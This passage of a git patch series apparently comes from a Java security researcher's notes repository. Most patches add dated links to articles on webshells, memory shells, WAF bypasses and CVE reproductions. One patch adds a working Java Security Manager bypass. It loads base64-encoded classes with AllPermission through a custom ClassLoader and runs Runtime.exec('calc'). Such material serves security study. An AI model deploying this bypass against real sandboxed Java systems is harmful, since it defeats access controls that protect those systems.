[PATCH 064/254] Update Readme.md --- "java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" "b/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" index 41c4596..0bc0205 100644 --- "a/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" +++ "b/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" @@ -25,3 +25,4 @@ https://www.sec-in.com/author/8 这个师傅太猛了 + 2021/12/21 [绕过后缀安全检查进行文件上传-2](https://www.sec-in.com/article/1328) **只能说非常np了，servlet单例，属性在调用时会被共享，存在线程安全问题。扩展一下java中volatile有可能存在线程安全问题[参考](https://github.com/Firebasky/Java/blob/main/java%E6%97%A5%E5%B8%B8/Thinking_in_java%E9%AB%98%E7%BA%A7%E4%B9%8Bvolatile.md)** 看看能不能搭建一个环境复现一下。。。。 + 2022/01/31 [验证是否存在写文件漏洞小技巧](https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&mid=2247483994&idx=1&sn=2d29f31afa27a3709b5dc9e46532230a&chksm=c19705ebf6e08cfdd6dc59937beee4a77110b3cac9958335a6cfdbd020d00f2f24a7033063f2&mpshare=1&scene=23&srcid=0131EzMk9fpayyNZeXFR8nhb&sharer_sharetime=1643561054742&sharer_shareid=33a823b10ae99f33a60db621d83241cb#rd) + 2022/02/26 [记一次曲折的weblogic上传webshell](https://chaserw.github.io/2021/11/05/%E8%AE%B0%E4%B8%80%E6%AC%A1%E6%9B%B2%E6%8A%98%E7%9A%84weblogic%E4%B8%8A%E4%BC%A0webshell/) ++ 2022/10/08 [实战 | 一次成功的子域名劫持](https://mp.weixin.qq.com/s/xA6OVbeQrCgeYBWMtkvWVA) **学习** From 5e0164f00de0a38b9bcca1d1d0aea0259c7fe62c Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 8 Oct 2022 10:18:03 +0800 Subject: [PATCH 065/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 3625db3..368e047 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -172,3 +172,4 @@ + 2022/10/05 [一种新的Tomcat内存马 - Upgrade内存马](https://tttang.com/archive/1709) + 2022/10/06 [HSQLDB 安全测试指南](https://b1ue.cn/archives/458.html) + 2022/10/06 [Linux terminal/tty/pty and shell](https://kangxiaoning.github.io/post/2021/05/linux-terminal-tty-pty-and-shell/) ++ 2022/10/08 [利用ModSecurity内置实现第一代 rasp](https://mp.weixin.qq.com/s?__biz=Mzg3ODY3MzcwMQ==&mid=2247489448&idx=1&sn=3a64455cb703152d9f69b3fa3657f7f7&chksm=cf117de2f866f4f46b088ca106911db77ef7e16b3408ef5c3f3d893c99432227f38ed0969367&mpshare=1&scene=23&srcid=1008ouxJsQWdvxgKPMzYC9x0&sharer_sharetime=1665193299451&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) From 6d147dde23625d4cd2330f05326625ab242f269a Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 8 Oct 2022 21:30:19 +0800 Subject: [PATCH 066/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 368e047..d01111e 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -173,3 +173,4 @@ + 2022/10/06 [HSQLDB 安全测试指南](https://b1ue.cn/archives/458.html) + 2022/10/06 [Linux terminal/tty/pty and shell](https://kangxiaoning.github.io/post/2021/05/linux-terminal-tty-pty-and-shell/) + 2022/10/08 [利用ModSecurity内置实现第一代 rasp](https://mp.weixin.qq.com/s?__biz=Mzg3ODY3MzcwMQ==&mid=2247489448&idx=1&sn=3a64455cb703152d9f69b3fa3657f7f7&chksm=cf117de2f866f4f46b088ca106911db77ef7e16b3408ef5c3f3d893c99432227f38ed0969367&mpshare=1&scene=23&srcid=1008ouxJsQWdvxgKPMzYC9x0&sharer_sharetime=1665193299451&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) ++ 2022/10/08 [WAF bypasses via 0days](https://terjanq.medium.com/waf-bypasses-via-0days-d4ef1f212ec) From 85590784b125ec6df20b93a445346f87a5bd2f78 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 10 Oct 2022 17:01:17 +0800 Subject: [PATCH 067/254] Create BypassOfCreateClassLoader.java --- BypassSM/BypassOfCreateClassLoader.java | 54 +++++++++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 BypassSM/BypassOfCreateClassLoader.java diff --git a/BypassSM/BypassOfCreateClassLoader.java b/BypassSM/BypassOfCreateClassLoader.java new file mode 100644 index 0000000..21ec80e --- /dev/null +++ b/BypassSM/BypassOfCreateClassLoader.java @@ -0,0 +1,54 @@ +package com.evil; + +import java.security.*; +import java.security.cert.Certificate; + +public class MyPoc { + //-Djava.security.manager -Djava.security.policy==bypass-by-createclassloader.policy + static { + try { + Exp(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void Exp() throws Exception{ + BypassClassLoader0 bypassClassLoader = new BypassClassLoader0(); + Class aClass0 = bypassClassLoader.get(base64Decode("yv66vgAAADQAHwoABgAWBwAXCgACABYKABgAGQcAGgcAGwEADElubmVyQ2xhc3NlcwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQALTGV2aWxDbGFzczsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAOZXZpbENsYXNzLmphdmEMAAgACQEAC2V2aWxDbGFzcyQxBwAcDAAdAB4BAAlldmlsQ2xhc3MBABBqYXZhL2xhbmcvT2JqZWN0AQAeamF2YS9zZWN1cml0eS9BY2Nlc3NDb250cm9sbGVyAQAMZG9Qcml2aWxlZ2VkAQA0KExqYXZhL3NlY3VyaXR5L1ByaXZpbGVnZWRBY3Rpb247KUxqYXZhL2xhbmcvT2JqZWN0OwAhAAUABgAAAAAAAwABAAgACQABAAoAAAAvAAEAAQAAAAUqtwABsQAAAAIACwAAAAYAAQAAAAQADAAAAAwAAQAAAAUADQAOAAAACQAPABAAAQAKAAAAKwAAAAEAAAABsQAAAAIACwAAAAYAAQAAABUADAAAAAwAAQAAAAEAEQASAAAACAATAAkAAQAKAAAAKAACAAAAAAAMuwACWbcAA7gABFexAAAAAQALAAAACgACAAAABgALABEAAgAUAAAAAgAVAAcAAAAKAAEAAgAAAAAACA=="), "evilClass"); + bypassClassLoader.get(base64Decode("yv66vgAAADQALQoACAAcCgAdAB4IAB8KAB0AIAcAIQoABQAiBwAjBwAkBwAlAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAxJbm5lckNsYXNzZXMBAA1MZXZpbENsYXNzJDE7AQADcnVuAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAR2YXIyAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAIQEAClNvdXJjZUZpbGUBAA5ldmlsQ2xhc3MuamF2YQEAD0VuY2xvc2luZ01ldGhvZAcAJgwACgALBwAnDAAoACkBAARjYWxjDAAqACsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAsAAsBAAtldmlsQ2xhc3MkMQEAEGphdmEvbGFuZy9PYmplY3QBAB5qYXZhL3NlY3VyaXR5L1ByaXZpbGVnZWRBY3Rpb24BAAlldmlsQ2xhc3MBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlADAABwAIAAEACQAAAAIAAAAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAGAA4AAAAMAAEAAAAFAA8AEQAAAAEAEgATAAEADAAAAGoAAgACAAAAErgAAhIDtgAEVwGwTCu2AAYBsAABAAAACgALAAUAAwANAAAAFgAFAAAACQAJAAoACwALAAwADAAQAA0ADgAAABYAAgAMAAYAFAAVAAEAAAASAA8AEQAAABYAAAAGAAFLBwAXAAMAGAAAAAIAGQAaAAAABAAbAAAAEAAAAAoAAQAHAAAAAAAI"), "evilClass$1"); + Class.forName(aClass0.getName(), true, bypassClassLoader); + } + + public static byte[] base64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + public static class BypassClassLoader0 extends ClassLoader{ + public Class get(byte[] b,String name) { + PermissionCollection pc = new Permissions(); + pc.add(new AllPermission()); + //设置ProtectionDomain + ProtectionDomain pd = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null); + return super.defineClass(name, b, 0, b.length,pd); + } + } + + public static void main(String[] args) { + + } +} From 6217236b2173ab841592262c9afb274e370edcea Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 11 Oct 2022 23:44:18 +0800 Subject: [PATCH 068/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index d01111e..47eaea1 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -174,3 +174,4 @@ + 2022/10/06 [Linux terminal/tty/pty and shell](https://kangxiaoning.github.io/post/2021/05/linux-terminal-tty-pty-and-shell/) + 2022/10/08 [利用ModSecurity内置实现第一代 rasp](https://mp.weixin.qq.com/s?__biz=Mzg3ODY3MzcwMQ==&mid=2247489448&idx=1&sn=3a64455cb703152d9f69b3fa3657f7f7&chksm=cf117de2f866f4f46b088ca106911db77ef7e16b3408ef5c3f3d893c99432227f38ed0969367&mpshare=1&scene=23&srcid=1008ouxJsQWdvxgKPMzYC9x0&sharer_sharetime=1665193299451&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2022/10/08 [WAF bypasses via 0days](https://terjanq.medium.com/waf-bypasses-via-0days-d4ef1f212ec) ++ 2022/10/11 [记一次 Tomcat 部署 WAR 包拦截绕过的深究](https://www.ch1ng.com/blog/264.html) **文件上传也可以绕过** From 496002a3fd1a6b269809251196271e9a5f6aac66 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 12 Oct 2022 14:32:12 +0800 Subject: [PATCH 069/254] Create Readme.md --- Jdk/dnsrebinding/Readme.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 Jdk/dnsrebinding/Readme.md diff --git a/Jdk/dnsrebinding/Readme.md b/Jdk/dnsrebinding/Readme.md new file mode 100644 index 0000000..cf62f1a --- /dev/null +++ b/Jdk/dnsrebinding/Readme.md @@ -0,0 +1,13 @@ +# java rebinding + +http://www.loongten.com/2020/02/26/dns-rebinding-bypass + +http://www.lpnote.com/2018/11/23/java-dns-cache/ + +https://www.xmanblog.net/java-dns-rebinding-ssrf/ + +https://paper.seebug.org/390/ + +https://powerdns.org/hello-dns/ + +http://www.ruanyifeng.com/blog/2016/06/dns.html From 795475bb6737abce9f7fed6aca3a9e8df3f135d8 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 14 Oct 2022 20:46:01 +0800 Subject: [PATCH 070/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 47eaea1..98eec1b 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -175,3 +175,4 @@ + 2022/10/08 [利用ModSecurity内置实现第一代 rasp](https://mp.weixin.qq.com/s?__biz=Mzg3ODY3MzcwMQ==&mid=2247489448&idx=1&sn=3a64455cb703152d9f69b3fa3657f7f7&chksm=cf117de2f866f4f46b088ca106911db77ef7e16b3408ef5c3f3d893c99432227f38ed0969367&mpshare=1&scene=23&srcid=1008ouxJsQWdvxgKPMzYC9x0&sharer_sharetime=1665193299451&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2022/10/08 [WAF bypasses via 0days](https://terjanq.medium.com/waf-bypasses-via-0days-d4ef1f212ec) + 2022/10/11 [记一次 Tomcat 部署 WAR 包拦截绕过的深究](https://www.ch1ng.com/blog/264.html) **文件上传也可以绕过** ++ 2022/10/14 [【技术原创】Java利用技巧——AntSword-JSP-Template的优化](https://mp.weixin.qq.com/s?__biz=MzI0MDY1MDU4MQ==&mid=2247552091&idx=1&sn=061377d83ca103c5d0ddbe36e914d2e8&chksm=e915dc61de6255770aee47e7bdf1d50bc6814a99def28b64ed63164faa547c08e28f7c1864c9&mpshare=1&scene=23&srcid=10145tBlCMybIMqBL3KthNAx&sharer_sharetime=1665748971719&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **可能之后有用** From b6f2ec66e83eb4a1d835b789d55e48c6feb4948b Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 15 Oct 2022 22:01:26 +0800 Subject: [PATCH 071/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 98eec1b..9267955 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -176,3 +176,4 @@ + 2022/10/08 [WAF bypasses via 0days](https://terjanq.medium.com/waf-bypasses-via-0days-d4ef1f212ec) + 2022/10/11 [记一次 Tomcat 部署 WAR 包拦截绕过的深究](https://www.ch1ng.com/blog/264.html) **文件上传也可以绕过** + 2022/10/14 [【技术原创】Java利用技巧——AntSword-JSP-Template的优化](https://mp.weixin.qq.com/s?__biz=MzI0MDY1MDU4MQ==&mid=2247552091&idx=1&sn=061377d83ca103c5d0ddbe36e914d2e8&chksm=e915dc61de6255770aee47e7bdf1d50bc6814a99def28b64ed63164faa547c08e28f7c1864c9&mpshare=1&scene=23&srcid=10145tBlCMybIMqBL3KthNAx&sharer_sharetime=1665748971719&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **可能之后有用** ++ 2022/10/15 [bcel环境下打入springboot内存马](https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&mid=2247485492&idx=1&sn=82fd393c7fc33417bff5d8cfa81b1451&chksm=fe32b8c3c94531d520d3fe4b0349b982fab83da2f6273799b68aa48f7bbb16700a642034c15e&mpshare=1&scene=23&srcid=1014Db7SCSD03rrslhpasxqf&sharer_sharetime=1665743334925&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **解决方法太麻烦,可以直接写一个loader里面加载代码。就不需要通过bcel加载了。(因为使用bcel加载的时候会存在class not find,因为加载器是bcel.)** From cb24f175dd69d6140d74e1e42ae29b2850ef0bab Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 15 Oct 2022 23:27:10 +0800 Subject: [PATCH 072/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 9267955..cb7da58 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -177,3 +177,4 @@ + 2022/10/11 [记一次 Tomcat 部署 WAR 包拦截绕过的深究](https://www.ch1ng.com/blog/264.html) **文件上传也可以绕过** + 2022/10/14 [【技术原创】Java利用技巧——AntSword-JSP-Template的优化](https://mp.weixin.qq.com/s?__biz=MzI0MDY1MDU4MQ==&mid=2247552091&idx=1&sn=061377d83ca103c5d0ddbe36e914d2e8&chksm=e915dc61de6255770aee47e7bdf1d50bc6814a99def28b64ed63164faa547c08e28f7c1864c9&mpshare=1&scene=23&srcid=10145tBlCMybIMqBL3KthNAx&sharer_sharetime=1665748971719&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **可能之后有用** + 2022/10/15 [bcel环境下打入springboot内存马](https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&mid=2247485492&idx=1&sn=82fd393c7fc33417bff5d8cfa81b1451&chksm=fe32b8c3c94531d520d3fe4b0349b982fab83da2f6273799b68aa48f7bbb16700a642034c15e&mpshare=1&scene=23&srcid=1014Db7SCSD03rrslhpasxqf&sharer_sharetime=1665743334925&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **解决方法太麻烦,可以直接写一个loader里面加载代码。就不需要通过bcel加载了。(因为使用bcel加载的时候会存在class not find,因为加载器是bcel.)** ++ 2022/10/15 [Padding Oracle原理深度解析&CBC字节翻转攻击原理解析](https://mp.weixin.qq.com/s/OtGw-rALwpBkERfvqdZ4kQ?utm_source=qq&utm_medium=social&utm_oi=1165421494795706368) From c22255f37bd0f93746997bc51c0308ea2a2aa4f4 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 16 Oct 2022 12:43:47 +0800 Subject: [PATCH 073/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index cb7da58..81a54e9 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -178,3 +178,4 @@ + 2022/10/14 [【技术原创】Java利用技巧——AntSword-JSP-Template的优化](https://mp.weixin.qq.com/s?__biz=MzI0MDY1MDU4MQ==&mid=2247552091&idx=1&sn=061377d83ca103c5d0ddbe36e914d2e8&chksm=e915dc61de6255770aee47e7bdf1d50bc6814a99def28b64ed63164faa547c08e28f7c1864c9&mpshare=1&scene=23&srcid=10145tBlCMybIMqBL3KthNAx&sharer_sharetime=1665748971719&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **可能之后有用** + 2022/10/15 [bcel环境下打入springboot内存马](https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&mid=2247485492&idx=1&sn=82fd393c7fc33417bff5d8cfa81b1451&chksm=fe32b8c3c94531d520d3fe4b0349b982fab83da2f6273799b68aa48f7bbb16700a642034c15e&mpshare=1&scene=23&srcid=1014Db7SCSD03rrslhpasxqf&sharer_sharetime=1665743334925&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **解决方法太麻烦,可以直接写一个loader里面加载代码。就不需要通过bcel加载了。(因为使用bcel加载的时候会存在class not find,因为加载器是bcel.)** + 2022/10/15 [Padding Oracle原理深度解析&CBC字节翻转攻击原理解析](https://mp.weixin.qq.com/s/OtGw-rALwpBkERfvqdZ4kQ?utm_source=qq&utm_medium=social&utm_oi=1165421494795706368) ++ 2022/10/16 [Shiro Padding Oracle攻击分析](https://www.cnblogs.com/wh4am1/p/12761959.html) **重新学习** From 5b3bed1865a4acf8e139ed2934bdd08040b3f441 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 16 Oct 2022 23:10:53 +0800 Subject: [PATCH 074/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 81a54e9..39d0e80 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -179,3 +179,4 @@ + 2022/10/15 [bcel环境下打入springboot内存马](https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&mid=2247485492&idx=1&sn=82fd393c7fc33417bff5d8cfa81b1451&chksm=fe32b8c3c94531d520d3fe4b0349b982fab83da2f6273799b68aa48f7bbb16700a642034c15e&mpshare=1&scene=23&srcid=1014Db7SCSD03rrslhpasxqf&sharer_sharetime=1665743334925&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **解决方法太麻烦,可以直接写一个loader里面加载代码。就不需要通过bcel加载了。(因为使用bcel加载的时候会存在class not find,因为加载器是bcel.)** + 2022/10/15 [Padding Oracle原理深度解析&CBC字节翻转攻击原理解析](https://mp.weixin.qq.com/s/OtGw-rALwpBkERfvqdZ4kQ?utm_source=qq&utm_medium=social&utm_oi=1165421494795706368) + 2022/10/16 [Shiro Padding Oracle攻击分析](https://www.cnblogs.com/wh4am1/p/12761959.html) **重新学习** ++ 2022/10/16 [JSP文件无依赖加载shellcode分析](https://cangqingzhe.github.io/2021/10/21/JSP%E6%96%87%E4%BB%B6%E6%97%A0%E4%BE%9D%E8%B5%96%E5%8A%A0%E8%BD%BDshellcode%E5%88%86%E6%9E%90/) **由于这种方式是通过Tomcat服务的进程上线的,exit的话比较困难** From 20024f762022224471ecffd354624da5a4388f78 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 17 Oct 2022 11:16:23 +0800 Subject: [PATCH 075/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 39d0e80..074b9c9 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -180,3 +180,4 @@ + 2022/10/15 [Padding Oracle原理深度解析&CBC字节翻转攻击原理解析](https://mp.weixin.qq.com/s/OtGw-rALwpBkERfvqdZ4kQ?utm_source=qq&utm_medium=social&utm_oi=1165421494795706368) + 2022/10/16 [Shiro Padding Oracle攻击分析](https://www.cnblogs.com/wh4am1/p/12761959.html) **重新学习** + 2022/10/16 [JSP文件无依赖加载shellcode分析](https://cangqingzhe.github.io/2021/10/21/JSP%E6%96%87%E4%BB%B6%E6%97%A0%E4%BE%9D%E8%B5%96%E5%8A%A0%E8%BD%BDshellcode%E5%88%86%E6%9E%90/) **由于这种方式是通过Tomcat服务的进程上线的,exit的话比较困难** ++ 2022/10/17 [负载均衡踩坑记](https://cangqingzhe.github.io/2021/09/24/%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1%E8%B8%A9%E5%9D%91%E8%AE%B0/) From 2abd8cb5c6a37f7c80f5dad4e7ab771793ae6074 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 17 Oct 2022 12:31:25 +0800 Subject: [PATCH 076/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 074b9c9..21508c7 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -181,3 +181,4 @@ + 2022/10/16 [Shiro Padding Oracle攻击分析](https://www.cnblogs.com/wh4am1/p/12761959.html) **重新学习** + 2022/10/16 [JSP文件无依赖加载shellcode分析](https://cangqingzhe.github.io/2021/10/21/JSP%E6%96%87%E4%BB%B6%E6%97%A0%E4%BE%9D%E8%B5%96%E5%8A%A0%E8%BD%BDshellcode%E5%88%86%E6%9E%90/) **由于这种方式是通过Tomcat服务的进程上线的,exit的话比较困难** + 2022/10/17 [负载均衡踩坑记](https://cangqingzhe.github.io/2021/09/24/%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1%E8%B8%A9%E5%9D%91%E8%AE%B0/) ++ 2022/10/17 [最新CS RCE（CVE-2022-39197）复现心得分享](https://mp.weixin.qq.com/s/89wXyPaSn3TYn4pmVdr-Mw) From b483a9f6d46bdb6f357d7f9cf9b1020650a2e69a Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 17 Oct 2022 22:56:42 +0800 Subject: [PATCH 077/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 21508c7..c4dd358 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -182,3 +182,4 @@ + 2022/10/16 [JSP文件无依赖加载shellcode分析](https://cangqingzhe.github.io/2021/10/21/JSP%E6%96%87%E4%BB%B6%E6%97%A0%E4%BE%9D%E8%B5%96%E5%8A%A0%E8%BD%BDshellcode%E5%88%86%E6%9E%90/) **由于这种方式是通过Tomcat服务的进程上线的,exit的话比较困难** + 2022/10/17 [负载均衡踩坑记](https://cangqingzhe.github.io/2021/09/24/%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1%E8%B8%A9%E5%9D%91%E8%AE%B0/) + 2022/10/17 [最新CS RCE（CVE-2022-39197）复现心得分享](https://mp.weixin.qq.com/s/89wXyPaSn3TYn4pmVdr-Mw) ++ 2022/10/17 [RMI攻击Registry的两种方式](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651199558&idx=2&sn=f92be210fda6dcda351912e5819191e5&chksm=bd1d8acd8a6a03db3b62ba72b2a3b931ab99cf74dbacde501c0d615a8eb894c50d96405b3b43&mpshare=1&scene=23&srcid=10175X0cCc5JMI6fbq1VPYi6&sharer_sharetime=1666017207856&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) From dbcc50a340f6532597a77a1ceb166baf99483320 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 19 Oct 2022 00:01:36 +0800 Subject: [PATCH 078/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index c4dd358..26584c0 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -183,3 +183,4 @@ + 2022/10/17 [负载均衡踩坑记](https://cangqingzhe.github.io/2021/09/24/%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1%E8%B8%A9%E5%9D%91%E8%AE%B0/) + 2022/10/17 [最新CS RCE（CVE-2022-39197）复现心得分享](https://mp.weixin.qq.com/s/89wXyPaSn3TYn4pmVdr-Mw) + 2022/10/17 [RMI攻击Registry的两种方式](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651199558&idx=2&sn=f92be210fda6dcda351912e5819191e5&chksm=bd1d8acd8a6a03db3b62ba72b2a3b931ab99cf74dbacde501c0d615a8eb894c50d96405b3b43&mpshare=1&scene=23&srcid=10175X0cCc5JMI6fbq1VPYi6&sharer_sharetime=1666017207856&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) ++ 2022/10/19 [Apache Spark UI 命令注入漏洞 CVE-2022-33891](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MjM5MTYxNjQxOA==&action=getalbum&album_id=2619537533131227139&scene=173&from_msgid=2652892336&from_itemidx=1&count=3&nolastread=1#wechat_redirect) From 614fade87eda619c49519b38ca8a18ef3fc09fc7 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 19 Oct 2022 08:37:53 +0800 Subject: [PATCH 079/254] Update README.md --- tomcat/README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/tomcat/README.md b/tomcat/README.md index 1747bb3..c38371f 100644 --- a/tomcat/README.md +++ b/tomcat/README.md @@ -3,3 +3,6 @@ Tomcat是Apache 软件基金会（Apache Software Foundation）的Jakarta 项目中的一个核心项目，由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持，最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现，Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定，而且免费，因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可，成为目前比较流行的Web 应用服务器Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。对于一个初学者来说，可以这样认为，当在一台机器上配置好Apache 